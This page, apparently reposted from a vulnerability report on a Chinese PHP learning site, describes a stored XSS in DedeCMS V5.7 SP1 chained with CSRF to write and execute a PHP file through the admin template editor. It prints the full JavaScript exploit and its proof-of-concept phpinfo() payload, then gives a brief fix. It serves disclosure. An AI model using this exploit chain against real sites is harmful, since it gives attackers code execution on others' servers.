网站地图    收藏   

主页 > 后端 > 网站安全 >

DedeCMS某模块存储型xss 可打管理员 (csrf)getshell成功

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] DedeCMS-V5 7-UTF8-SP1 块存储型xss 可打管理员 getshell成功测试注册账户,然后登陆:jscode:function ajax(){ var request = false; if(window XMLHttpRequest) {...

DedeCMS-V5.7-UTF8-SP1 块存储型xss 可打管理员 getshell成功测试
 
注册账户,然后登陆:
 
 
jscode:
 
function ajax(){

  

    var request = false;

  

    if(window.XMLHttpRequest) {

  

        request = new XMLHttpRequest();

  

    } else if(window.ActiveXObject) {

  

        var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

  

        for(var i=0; i<versions.length; i++) {

  

            try {

  

                request = new ActiveXObject(versions[i]);

  

            } catch(e) {}

  

        }

  

    }

  

    return request;

  

}





var _x = ajax();

  

postgo();



function postgo() {

  

    src="http://10.65.100.235/DedeCMS-V5.7-UTF8-SP1/uploads/dede/tpl.php";

  

    data="actiondo=edittag&action=savetagfile&filename=a.lib.php&content=%3C%3Fphp%0D%0Aphpinfo%28%29%3B%0D%0A%3F%3E&B1=++%E4%BF%9D+%E5%AD%98++";



    xhr_act("POST",src,data);

  

}

  

function xhr_act(_m,_s,_a){



    _x.open(_m,_s,false);



cookie = document.cookie;

    if(_m=="POST"){

_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

_x.setRequestHeader("Cookie",cookie);

}

  

    _x.send(_a);

  

    return _x.responseText;

  

}

 

 
 
 
 
为了做测试,我们提前建立一个测试标签,标签的内容为空,如图所示:
 
 
然后我们的js代码就是往a.lib.php里面写入phpinfo()
 
 
 
步骤操作如图所示:
 
 




 
最终我们去访问DedeCMS-V5.7-UTF8-SP1/uploads/include/taglib/a.lib.php,完全没有限制
 
直接可以看到phpinfo被执行了如图:
 
修复方案:
对于输出的地方全部做htmlcode转换

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论